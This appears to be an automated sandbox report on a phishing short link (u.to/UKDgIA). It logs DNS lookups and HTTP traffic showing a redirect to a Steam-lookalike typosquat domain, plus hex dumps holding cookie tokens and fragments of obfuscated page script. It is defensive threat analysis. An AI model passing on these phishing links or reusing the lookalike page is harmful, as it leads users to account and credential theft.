Sep 17, 2024 19:21:15.515295982 CEST	1.1.1.1	192.168.2.4	0x667	No error (0)	scteamncommnumnity.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.542258978 CEST	1.1.1.1	192.168.2.4	0xc0c6	No error (0)	scteamncommnumnity.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:16.250220060 CEST	1.1.1.1	192.168.2.4	0x9804	No error (0)	store.akamai.steamstatic.com		95.101.54.226	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:16.250220060 CEST	1.1.1.1	192.168.2.4	0x9804	No error (0)	store.akamai.steamstatic.com		2.16.202.57	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:17.946573973 CEST	1.1.1.1	192.168.2.4	0x2b7e	No error (0)	recaptcha.net		142.250.184.195	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:17.949940920 CEST	1.1.1.1	192.168.2.4	0x6559	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.086606026 CEST	1.1.1.1	192.168.2.4	0xb5f8	No error (0)	cdn.akamai.steamstatic.com		2.19.126.208	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.086606026 CEST	1.1.1.1	192.168.2.4	0xb5f8	No error (0)	cdn.akamai.steamstatic.com		2.19.126.223	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.637136936 CEST	1.1.1.1	192.168.2.4	0xc69c	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.888097048 CEST	1.1.1.1	192.168.2.4	0x1786	No error (0)	recaptcha.net		172.217.16.195	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:19.602495909 CEST	1.1.1.1	192.168.2.4	0xe579	No error (0)	cdn.akamai.steamstatic.com		2.16.241.6	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:19.602495909 CEST	1.1.1.1	192.168.2.4	0xe579	No error (0)	cdn.akamai.steamstatic.com		2.16.241.11	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:23.195555925 CEST	1.1.1.1	192.168.2.4	0xc4b	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:24.907435894 CEST	1.1.1.1	192.168.2.4	0x353f	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:43.739970922 CEST	1.1.1.1	192.168.2.4	0xf4da	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:21:43.739970922 CEST	1.1.1.1	192.168.2.4	0xf4da	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:43.739970922 CEST	1.1.1.1	192.168.2.4	0xf4da	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:43.739970922 CEST	1.1.1.1	192.168.2.4	0xf4da	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:43.739970922 CEST	1.1.1.1	192.168.2.4	0xf4da	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:43.740489960 CEST	1.1.1.1	192.168.2.4	0xf439	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:21:44.345304966 CEST	1.1.1.1	192.168.2.4	0xba06	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:21:44.345304966 CEST	1.1.1.1	192.168.2.4	0xba06	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.345304966 CEST	1.1.1.1	192.168.2.4	0xba06	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.345304966 CEST	1.1.1.1	192.168.2.4	0xba06	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.345304966 CEST	1.1.1.1	192.168.2.4	0xba06	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.349447966 CEST	1.1.1.1	192.168.2.4	0xc4aa	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:21:44.748286963 CEST	1.1.1.1	192.168.2.4	0x3f5e	No error (0)	fonts.cdnfonts.com		172.67.184.158	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.748286963 CEST	1.1.1.1	192.168.2.4	0x3f5e	No error (0)	fonts.cdnfonts.com		104.21.72.124	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.749279976 CEST	1.1.1.1	192.168.2.4	0xbb5a	No error (0)	fonts.cdnfonts.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:46.611109018 CEST	1.1.1.1	192.168.2.4	0x1fd4	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:46.611202955 CEST	1.1.1.1	192.168.2.4	0xa3de	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:46.611202955 CEST	1.1.1.1	192.168.2.4	0xa3de	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:46.623775959 CEST	1.1.1.1	192.168.2.4	0x8213	No error (0)	community.akamai.steamstatic.com		2.16.202.113	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:46.623775959 CEST	1.1.1.1	192.168.2.4	0x8213	No error (0)	community.akamai.steamstatic.com		95.101.54.195	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.244540930 CEST	1.1.1.1	192.168.2.4	0x7939	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.244540930 CEST	1.1.1.1	192.168.2.4	0x7939	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.244772911 CEST	1.1.1.1	192.168.2.4	0xc7fc	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:47.572221994 CEST	1.1.1.1	192.168.2.4	0xdd9f	No error (0)	community.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.572221994 CEST	1.1.1.1	192.168.2.4	0xdd9f	No error (0)	community.akamai.steamstatic.com		2.16.168.11	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.572221994 CEST	1.1.1.1	192.168.2.4	0xdd9f	No error (0)	community.akamai.steamstatic.com		2.16.168.8	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:49.392409086 CEST	1.1.1.1	192.168.2.4	0xee2f	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:51.429029942 CEST	1.1.1.1	192.168.2.4	0xa2d2	No error (0)	store.akamai.steamstatic.com		2.19.126.135	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:51.429029942 CEST	1.1.1.1	192.168.2.4	0xa2d2	No error (0)	store.akamai.steamstatic.com		2.19.126.140	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:00.657459974 CEST	1.1.1.1	192.168.2.4	0xf20f	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:04.982558966 CEST	1.1.1.1	192.168.2.4	0x7dd4	No error (0)	s.team		23.206.17.37	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:08.299050093 CEST	1.1.1.1	192.168.2.4	0xa9cf	No error (0)	login.steampowered.com		23.50.98.133	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:08.535598993 CEST	1.1.1.1	192.168.2.4	0xcb42	No error (0)	help.steampowered.com		23.50.98.133	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:09.547274113 CEST	1.1.1.1	192.168.2.4	0xe83e	No error (0)	api.steampowered.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:09.589036942 CEST	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	login.steampowered.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:10.591725111 CEST	1.1.1.1	192.168.2.4	0x54fd	No error (0)	cdn.akamai.steamstatic.com		2.16.168.4	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:10.591725111 CEST	1.1.1.1	192.168.2.4	0x54fd	No error (0)	cdn.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:10.843457937 CEST	1.1.1.1	192.168.2.4	0xd3fc	No error (0)	api.steampowered.com		23.50.98.133	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:11.156016111 CEST	1.1.1.1	192.168.2.4	0x8fed	No error (0)	help.steampowered.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:13.234836102 CEST	1.1.1.1	192.168.2.4	0x2ffb	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:13.286870003 CEST	1.1.1.1	192.168.2.4	0x411	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 17, 2024 19:22:13.701946974 CEST	1.1.1.1	192.168.2.4	0x7661	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:22:13.703351021 CEST	1.1.1.1	192.168.2.4	0x586c	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:22:15.116125107 CEST	1.1.1.1	192.168.2.4	0xdd36	No error (0)	www.google.com		172.217.23.100	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:15.117048979 CEST	1.1.1.1	192.168.2.4	0xe20c	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 17, 2024 19:22:15.131012917 CEST	1.1.1.1	192.168.2.4	0x1388	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:22:15.131139040 CEST	1.1.1.1	192.168.2.4	0x5b2f	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 17, 2024 19:22:20.790133953 CEST	1.1.1.1	192.168.2.4	0xd6cb	No error (0)	cdn.akamai.steamstatic.com		2.16.168.4	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:20.790133953 CEST	1.1.1.1	192.168.2.4	0xd6cb	No error (0)	cdn.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:24.276448011 CEST	1.1.1.1	192.168.2.4	0x9f8c	No error (0)	store.akamai.steamstatic.com		2.19.126.227	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:24.276448011 CEST	1.1.1.1	192.168.2.4	0x9f8c	No error (0)	store.akamai.steamstatic.com		2.19.126.218	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:20:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-09-17 17:20:59 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-17 17:21:00 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 17 Sep 2024 17:19:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30359.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C503_SN1 x-ms-request-id: da20cd6b-2d69-482b-8a58-a00543381cb5 PPServer: PPV: 30 H: SN1PEPF0002F02D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 17 Sep 2024 17:20:59 GMT Connection: close Content-Length: 11409
2024-09-17 17:21:00 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:10 UTC	653	OUT	GET /UKDgIA HTTP/1.1 Host: u.to Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:11 UTC	316	IN	HTTP/1.1 302 Found Server: nginx/1.8.0 Date: Tue, 17 Sep 2024 17:21:09 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Set-Cookie: lng=en; path=/; expires=Wed, 17-Sep-2025 17:21:09 GMT; domain=.u.to; Location: https://scteamncommnumnity.com/fiting/geting/going
2024-09-17 17:21:11 UTC	241	IN	Data Raw: 65 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 63 74 65 61 6d 6e 63 6f 6d 6d 6e 75 6d 6e 69 74 79 2e 63 6f 6d 2f 66 69 74 69 6e 67 2f 67 65 74 69 6e 67 2f 67 6f 69 6e 67 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: e6<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>302 Found</TITLE></HEAD><BODY><H1>Found</H1>The document has moved <A HREF="https://scteamncommnumnity.com/fiting/geting/going">here</A>.<P></BODY></HTML>0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://u.to/UKDgIA

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 212

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Chrome Cache Entry: 218

Chrome Cache Entry: 219

Chrome Cache Entry: 220

Chrome Cache Entry: 221

Chrome Cache Entry: 222

Chrome Cache Entry: 223

Chrome Cache Entry: 224

Chrome Cache Entry: 225

Chrome Cache Entry: 226

Windows Analysis Report
https://u.to/UKDgIA

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:12 UTC	684	OUT	GET /fiting/geting/going HTTP/1.1 Host: scteamncommnumnity.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:12 UTC	1267	IN	HTTP/1.1 200 OK Date: Tue, 17 Sep 2024 17:21:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; Path=/; Expires=Tue, 17 Sep 2024 21:21:12 GMT; SameSite=Lax Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M; Path=/; Expires=Tue, 17 Sep 2024 21:21:12 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC
2024-09-17 17:21:12 UTC	415	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6f 34 46 5a 4f 51 4e 51 41 66 31 50 7a 53 61 6e 70 70 5a 33 5a 50 33 5a 75 31 42 71 4e 35 62 75 34 79 6e 45 4f 4d 59 54 6e 7a 43 32 46 72 63 31 57 71 77 39 76 67 57 58 64 43 73 74 6c 61 74 6f 70 35 34 6b 25 32 46 56 68 79 34 36 64 25 32 42 58 33 67 62 6b 4d 65 5a 30 25 32 42 44 59 41 31 45 6c 6d 53 33 50 4d 55 36 74 68 25 32 42 35 55 6b 52 36 62 4d 57 47 6d 4c 56 4e 31 66 4e 75 48 67 45 57 6d 38 70 79 76 54 68 6f 6a 4e 55 38 45 33 6a 72 4c 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o4FZOQNQAf1PzSanppZ3ZP3Zu1BqN5bu4ynEOMYTnzC2Frc1Wqw9vgWXdCstlatop54k%2FVhy46d%2BX3gbkMeZ0%2BDYA1ElmS3PMU6th%2B5UkR6bMWGmLVN1fNuHgEWm8pyvThojNU8E3jrL"}],"group":"cf-nel","max_age
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 35 33 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 53f5<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 2c 27 73 35 6a 49 31 2e 54 42 46 27 2c 27 25 32 76 45 60 2a 4e 42 27 2c 27 48 2c 6b 64 6d 32 7c 52 47 27 2c 27 44 53 7a 67 5f 3c 55 43 27 2c 27 40 34 70 67 76 29 44 70 32 54 27 2c 27 66 38 4f 66 4e 3a 79 43 27 2c 27 75 4a 57 66 45 3f 79 43 27 2c 27 65 50 29 31 66 2c 79 43 27 2c 27 36 69 6d 66 4e 5b 55 43 2c 52 43 76 65 78 38 6a 2e 49 63 3d 79 3b 6f 65 61 55 32 75 3e 78 6a 4c 64 50 42 32 66 2c 78 76 23 46 5d 34 70 45 6e 6e 2a 55 5e 49 27 2c 27 43 6a 2c 3c 62 2c 41 27 2c 27 41 45 4e 4b 38 7a 5f 59 3b 52 2a 56 74 45 27 2c 27 32 74 44 79 23 3a 50 31 51 4d 56 6c 42 27 2c 27 32 61 56 4b 65 2c 41 27 2c 27 61 72 63 3d 4d 3a 55 43 27 2c 27 66 72 4e 4b 21 3d 5a 3b 3b 52 27 2c 27 75 4a 28 67 67 3e 6d 43 27 2c 27 78 6f 54 67 70 40 7e 64 50 56 36 27 2c 27 42 32 35 67 Data Ascii: ,'s5jI1.TBF','%2vE`NB','H,kdm2\|RG','DSzg_<UC','@4pgv)Dp2T','f8OfN:yC','uJWfE?yC','eP)1f,yC','6imfN[UC,RCvex8j.Ic=y;oeaU2u>xjLdPB2f,xv#F]4pEnnU^I','Cj,<b,A','AENK8z_Y;R*VtE','2tDy#:P1QMVlB','2aVKe,A','arc=M:UC','frNK!=Z;;R','uJ(gg>mC','xoTgp@~dPV6','B25g
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 74 72 69 6e 67 2c 6e 73 72 53 56 5a 63 3d 50 39 30 55 33 54 57 2e 41 72 72 61 79 7c 7c 41 72 72 61 79 2c 6f 47 53 37 49 62 33 3d 65 75 62 4a 74 43 78 28 28 29 3d 3e 7b 76 61 72 20 50 39 30 55 33 54 57 3d 6e 65 77 20 6e 73 72 53 56 5a 63 28 30 78 38 30 29 2c 44 4c 4b 4e 53 44 2c 70 43 59 70 77 62 30 3b 21 28 44 4c 4b 4e 53 44 3d 64 39 54 43 39 38 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 7c 7c 64 39 54 43 39 38 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 70 43 59 70 77 62 30 3d 5b 5d 29 3b 72 65 74 75 72 6e 20 65 75 62 4a 74 43 78 28 68 6a 47 68 5f 6b 3d 3e 7b 76 61 72 20 6e 73 72 53 56 5a 63 2c 6f 47 53 37 49 62 33 3b 66 75 6e 63 74 69 6f 6e 20 46 51 71 5a 39 4b 28 68 6a 47 68 5f 6b 29 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 5b 68 6a 47 68 5f 6b 3c 2d 30 Data Ascii: tring,nsrSVZc=P90U3TW.Array\|\|Array,oGS7Ib3=eubJtCx(()=>{var P90U3TW=new nsrSVZc(0x80),DLKNSD,pCYpwb0;!(DLKNSD=d9TC98.fromCodePoint\|\|d9TC98.fromCharCode,pCYpwb0=[]);return eubJtCx(hjGh_k=>{var nsrSVZc,oGS7Ib3;function FQqZ9K(hjGh_k){return VMEOSp[hjGh_k<-0
